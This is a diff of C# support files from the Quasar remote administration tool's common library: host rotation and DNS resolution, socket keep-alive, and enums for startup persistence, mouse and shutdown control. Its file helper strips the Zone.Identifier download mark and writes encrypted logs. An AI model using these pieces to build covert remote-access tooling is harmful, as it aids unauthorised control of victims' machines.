||||||
|
}
|
||||||
@@ -0,0 +1,40 @@
|
|||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Common.DNS
|
||||||
|
{
|
||||||
|
public class HostsConverter
|
||||||
|
{
|
||||||
|
public List<Host> RawHostsToList(string rawHosts)
|
||||||
|
{
|
||||||
|
List<Host> hostsList = new List<Host>();
|
||||||
|
|
||||||
|
if (string.IsNullOrEmpty(rawHosts)) return hostsList;
|
||||||
|
|
||||||
|
var hosts = rawHosts.Split(';');
|
||||||
|
|
||||||
|
foreach (var host in hosts)
|
||||||
|
{
|
||||||
|
if ((string.IsNullOrEmpty(host) || !host.Contains(':'))) continue; // invalid host, ignore
|
||||||
|
|
||||||
|
ushort port;
|
||||||
|
if (!ushort.TryParse(host.Substring(host.LastIndexOf(':') + 1), out port)) continue; // invalid, ignore host
|
||||||
|
|
||||||
|
hostsList.Add(new Host { Hostname = host.Substring(0, host.LastIndexOf(':')), Port = port });
|
||||||
|
}
|
||||||
|
|
||||||
|
return hostsList;
|
||||||
|
}
|
||||||
|
|
||||||
|
public string ListToRawHosts(IList<Host> hosts)
|
||||||
|
{
|
||||||
|
StringBuilder rawHosts = new StringBuilder();
|
||||||
|
|
||||||
|
foreach (var host in hosts)
|
||||||
|
rawHosts.Append(host + ";");
|
||||||
|
|
||||||
|
return rawHosts.ToString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,63 @@
|
|||||||
|
using System.Collections.Generic;
|
||||||
|
using System.Net;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
|
||||||
|
namespace Quasar.Common.DNS
|
||||||
|
{
|
||||||
|
public class HostsManager
|
||||||
|
{
|
||||||
|
public bool IsEmpty => _hosts.Count == 0;
|
||||||
|
|
||||||
|
private readonly Queue<Host> _hosts = new Queue<Host>();
|
||||||
|
|
||||||
|
public HostsManager(List<Host> hosts)
|
||||||
|
{
|
||||||
|
foreach(var host in hosts)
|
||||||
|
_hosts.Enqueue(host);
|
||||||
|
}
|
||||||
|
|
||||||
|
public Host GetNextHost()
|
||||||
|
{
|
||||||
|
var temp = _hosts.Dequeue();
|
||||||
|
_hosts.Enqueue(temp); // add to the end of the queue
|
||||||
|
|
||||||
|
temp.IpAddress = ResolveHostname(temp);
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private static IPAddress ResolveHostname(Host host)
|
||||||
|
{
|
||||||
|
if (string.IsNullOrEmpty(host.Hostname)) return null;
|
||||||
|
|
||||||
|
IPAddress ip;
|
||||||
|
if (IPAddress.TryParse(host.Hostname, out ip))
|
||||||
|
{
|
||||||
|
if (ip.AddressFamily == AddressFamily.InterNetworkV6)
|
||||||
|
{
|
||||||
|
if (!Socket.OSSupportsIPv6) return null;
|
||||||
|
}
|
||||||
|
return ip;
|
||||||
|
}
|
||||||
|
|
||||||
|
var ipAddresses = Dns.GetHostEntry(host.Hostname).AddressList;
|
||||||
|
foreach (IPAddress ipAddress in ipAddresses)
|
||||||
|
{
|
||||||
|
switch (ipAddress.AddressFamily)
|
||||||
|
{
|
||||||
|
case AddressFamily.InterNetwork:
|
||||||
|
return ipAddress;
|
||||||
|
case AddressFamily.InterNetworkV6:
|
||||||
|
/* Only use resolved IPv6 if no IPv4 address available,
|
||||||
|
* otherwise it could be possible that the router the client
|
||||||
|
* is using to connect to the internet doesn't support IPv6.
|
||||||
|
*/
|
||||||
|
if (ipAddresses.Length == 1)
|
||||||
|
return ipAddress;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return ip;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum AccountType
|
||||||
|
{
|
||||||
|
Admin,
|
||||||
|
User,
|
||||||
|
Guest,
|
||||||
|
Unknown
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,18 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum ConnectionState : byte
|
||||||
|
{
|
||||||
|
Closed = 1,
|
||||||
|
Listening = 2,
|
||||||
|
SYN_Sent = 3,
|
||||||
|
Syn_Recieved = 4,
|
||||||
|
Established = 5,
|
||||||
|
Finish_Wait_1 = 6,
|
||||||
|
Finish_Wait_2 = 7,
|
||||||
|
Closed_Wait = 8,
|
||||||
|
Closing = 9,
|
||||||
|
Last_ACK = 10,
|
||||||
|
Time_Wait = 11,
|
||||||
|
Delete_TCB = 12
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,16 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum ContentType
|
||||||
|
{
|
||||||
|
// these values must match the index of the images in file manager
|
||||||
|
Blob = 2,
|
||||||
|
Application = 3,
|
||||||
|
Text = 4,
|
||||||
|
Archive = 5,
|
||||||
|
Word = 6,
|
||||||
|
Pdf = 7,
|
||||||
|
Image = 8,
|
||||||
|
Video = 9,
|
||||||
|
Audio = 10
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum FileType
|
||||||
|
{
|
||||||
|
File,
|
||||||
|
Directory,
|
||||||
|
Back
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum MouseAction
|
||||||
|
{
|
||||||
|
LeftDown,
|
||||||
|
LeftUp,
|
||||||
|
RightDown,
|
||||||
|
RightUp,
|
||||||
|
MoveCursor,
|
||||||
|
ScrollUp,
|
||||||
|
ScrollDown,
|
||||||
|
None
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum ProcessAction
|
||||||
|
{
|
||||||
|
Start,
|
||||||
|
End
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,9 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum ShutdownAction
|
||||||
|
{
|
||||||
|
Shutdown,
|
||||||
|
Restart,
|
||||||
|
Standby
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum StartupType
|
||||||
|
{
|
||||||
|
LocalMachineRun,
|
||||||
|
LocalMachineRunOnce,
|
||||||
|
CurrentUserRun,
|
||||||
|
CurrentUserRunOnce,
|
||||||
|
StartMenu,
|
||||||
|
LocalMachineRunX86,
|
||||||
|
LocalMachineRunOnceX86
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,8 @@
|
|||||||
|
namespace Quasar.Common.Enums
|
||||||
|
{
|
||||||
|
public enum UserStatus
|
||||||
|
{
|
||||||
|
Active,
|
||||||
|
Idle
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
using System.IO;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Extensions
|
||||||
|
{
|
||||||
|
public static class DriveTypeExtensions
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Converts the value of the <see cref="DriveType"/> instance to its friendly string representation.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="type">The <see cref="DriveType"/>.</param>
|
||||||
|
/// <returns>The friendly string representation of the value of this <see cref="DriveType"/> instance.</returns>
|
||||||
|
public static string ToFriendlyString(this DriveType type)
|
||||||
|
{
|
||||||
|
switch (type)
|
||||||
|
{
|
||||||
|
case DriveType.Fixed:
|
||||||
|
return "Local Disk";
|
||||||
|
case DriveType.Network:
|
||||||
|
return "Network Drive";
|
||||||
|
case DriveType.Removable:
|
||||||
|
return "Removable Drive";
|
||||||
|
default:
|
||||||
|
return type.ToString();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
using System;
|
||||||
|
using System.Net.Sockets;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Extensions
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Socket Extension for KeepAlive
|
||||||
|
/// </summary>
|
||||||
|
/// <Author>Abdullah Saleem</Author>
|
||||||
|
/// <Email>[email protected]</Email>
|
||||||
|
public static class SocketExtensions
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// A structure used by SetKeepAliveEx Method
|
||||||
|
/// </summary>
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct TcpKeepAlive
|
||||||
|
{
|
||||||
|
internal uint onoff;
|
||||||
|
internal uint keepalivetime;
|
||||||
|
internal uint keepaliveinterval;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Sets the Keep-Alive values for the current tcp connection
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="socket">Current socket instance</param>
|
||||||
|
/// <param name="keepAliveInterval">Specifies how often TCP repeats keep-alive transmissions when no response is received. TCP sends keep-alive transmissions to verify that idle connections are still active. This prevents TCP from inadvertently disconnecting active lines.</param>
|
||||||
|
/// <param name="keepAliveTime">Specifies how often TCP sends keep-alive transmissions. TCP sends keep-alive transmissions to verify that an idle connection is still active. This entry is used when the remote system is responding to TCP. Otherwise, the interval between transmissions is determined by the value of the keepAliveInterval entry.</param>
|
||||||
|
public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, uint keepAliveTime)
|
||||||
|
{
|
||||||
|
var keepAlive = new TcpKeepAlive
|
||||||
|
{
|
||||||
|
onoff = 1,
|
||||||
|
keepaliveinterval = keepAliveInterval,
|
||||||
|
keepalivetime = keepAliveTime
|
||||||
|
};
|
||||||
|
int size = Marshal.SizeOf(keepAlive);
|
||||||
|
IntPtr keepAlivePtr = Marshal.AllocHGlobal(size);
|
||||||
|
Marshal.StructureToPtr(keepAlive, keepAlivePtr, true);
|
||||||
|
var buffer = new byte[size];
|
||||||
|
Marshal.Copy(keepAlivePtr, buffer, 0, size);
|
||||||
|
Marshal.FreeHGlobal(keepAlivePtr);
|
||||||
|
socket.IOControl(IOControlCode.KeepAliveValues, buffer, null);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
using Quasar.Common.Enums;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Extensions
|
||||||
|
{
|
||||||
|
public static class StringExtensions
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Converts the file extension string to its <see cref="ContentType"/> representation.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="fileExtension">The file extension string.</param>
|
||||||
|
/// <returns>The <see cref="ContentType"/> representation of the file extension string.</returns>
|
||||||
|
public static ContentType ToContentType(this string fileExtension)
|
||||||
|
{
|
||||||
|
switch (fileExtension.ToLower())
|
||||||
|
{
|
||||||
|
default:
|
||||||
|
return ContentType.Blob;
|
||||||
|
case ".exe":
|
||||||
|
return ContentType.Application;
|
||||||
|
case ".txt":
|
||||||
|
case ".log":
|
||||||
|
case ".conf":
|
||||||
|
case ".cfg":
|
||||||
|
case ".asc":
|
||||||
|
return ContentType.Text;
|
||||||
|
case ".rar":
|
||||||
|
case ".zip":
|
||||||
|
case ".zipx":
|
||||||
|
case ".tar":
|
||||||
|
case ".tgz":
|
||||||
|
case ".gz":
|
||||||
|
case ".s7z":
|
||||||
|
case ".7z":
|
||||||
|
case ".bz2":
|
||||||
|
case ".cab":
|
||||||
|
case ".zz":
|
||||||
|
case ".apk":
|
||||||
|
return ContentType.Archive;
|
||||||
|
case ".doc":
|
||||||
|
case ".docx":
|
||||||
|
case ".odt":
|
||||||
|
return ContentType.Word;
|
||||||
|
case ".pdf":
|
||||||
|
return ContentType.Pdf;
|
||||||
|
case ".jpg":
|
||||||
|
case ".jpeg":
|
||||||
|
case ".png":
|
||||||
|
case ".bmp":
|
||||||
|
case ".gif":
|
||||||
|
case ".ico":
|
||||||
|
return ContentType.Image;
|
||||||
|
case ".mp4":
|
||||||
|
case ".mov":
|
||||||
|
case ".avi":
|
||||||
|
case ".wmv":
|
||||||
|
case ".mkv":
|
||||||
|
case ".m4v":
|
||||||
|
case ".flv":
|
||||||
|
return ContentType.Video;
|
||||||
|
case ".mp3":
|
||||||
|
case ".wav":
|
||||||
|
case ".pls":
|
||||||
|
case ".m3u":
|
||||||
|
case ".m4a":
|
||||||
|
return ContentType.Audio;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,101 @@
|
|||||||
|
using Quasar.Common.Cryptography;
|
||||||
|
using System.IO;
|
||||||
|
using System.Linq;
|
||||||
|
using System.Text;
|
||||||
|
|
||||||
|
namespace Quasar.Common.Helpers
|
||||||
|
{
|
||||||
|
public static class FileHelper
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// List of illegal path characters.
|
||||||
|
/// </summary>
|
||||||
|
private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Indicates if the given path contains illegal characters.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="path">The path to check.</param>
|
||||||
|
/// <returns>Returns <value>true</value> if the path contains illegal characters, otherwise <value>false</value>.</returns>
|
||||||
|
public static bool HasIllegalCharacters(string path)
|
||||||
|
{
|
||||||
|
return path.Any(c => IllegalPathChars.Contains(c));
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a random file name.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="length">The length of the file name.</param>
|
||||||
|
/// <param name="extension">The file extension including the dot, e.g. <value>.exe</value>.</param>
|
||||||
|
/// <returns>The random file name.</returns>
|
||||||
|
public static string GetRandomFilename(int length, string extension = "")
|
||||||
|
{
|
||||||
|
return string.Concat(StringHelper.GetRandomString(length), extension);
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Gets a path to an unused temp file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="extension">The file extension including the dot, e.g. <value>.exe</value>.</param>
|
||||||
|
/// <returns>The path to the temp file.</returns>
|
||||||
|
public static string GetTempFilePath(string extension)
|
||||||
|
{
|
||||||
|
string tempFilePath;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
|
||||||
|
} while (File.Exists(tempFilePath));
|
||||||
|
|
||||||
|
return tempFilePath;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Indicates if the given file header contains the executable identifier (magic number) 'MZ'.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="binary">The binary file to check.</param>
|
||||||
|
/// <returns>Returns <value>true</value> for valid executable identifiers, otherwise <value>false</value>.</returns>
|
||||||
|
public static bool HasExecutableIdentifier(byte[] binary)
|
||||||
|
{
|
||||||
|
if (binary.Length < 2) return false;
|
||||||
|
return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M');
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Deletes the zone identifier for the given file path.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="filePath">The file path.</param>
|
||||||
|
/// <returns>Returns <value>true</value> if the deletion was successful, otherwise <value>false</value>.</returns>
|
||||||
|
public static bool DeleteZoneIdentifier(string filePath)
|
||||||
|
{
|
||||||
|
return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Appends text to a log file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="filename">The filename of the log.</param>
|
||||||
|
/// <param name="appendText">The text to append.</param>
|
||||||
|
/// <param name="aes">The AES instance.</param>
|
||||||
|
public static void WriteLogFile(string filename, string appendText, Aes256 aes)
|
||||||
|
{
|
||||||
|
appendText = ReadLogFile(filename, aes) + appendText;
|
||||||
|
|
||||||
|
using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
|
||||||
|
{
|
||||||
|
byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText));
|
||||||
|
fStream.Seek(0, SeekOrigin.Begin);
|
||||||
|
fStream.Write(data, 0, data.Length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reads a log file.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="filename">The filename of the log.</param>
|
||||||
|
/// <param name="aes">The AES instance.</param>
|
||||||
|
public static string ReadLogFile(string filename, Aes256 aes)
|
||||||
|
{
|
||||||
|
return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user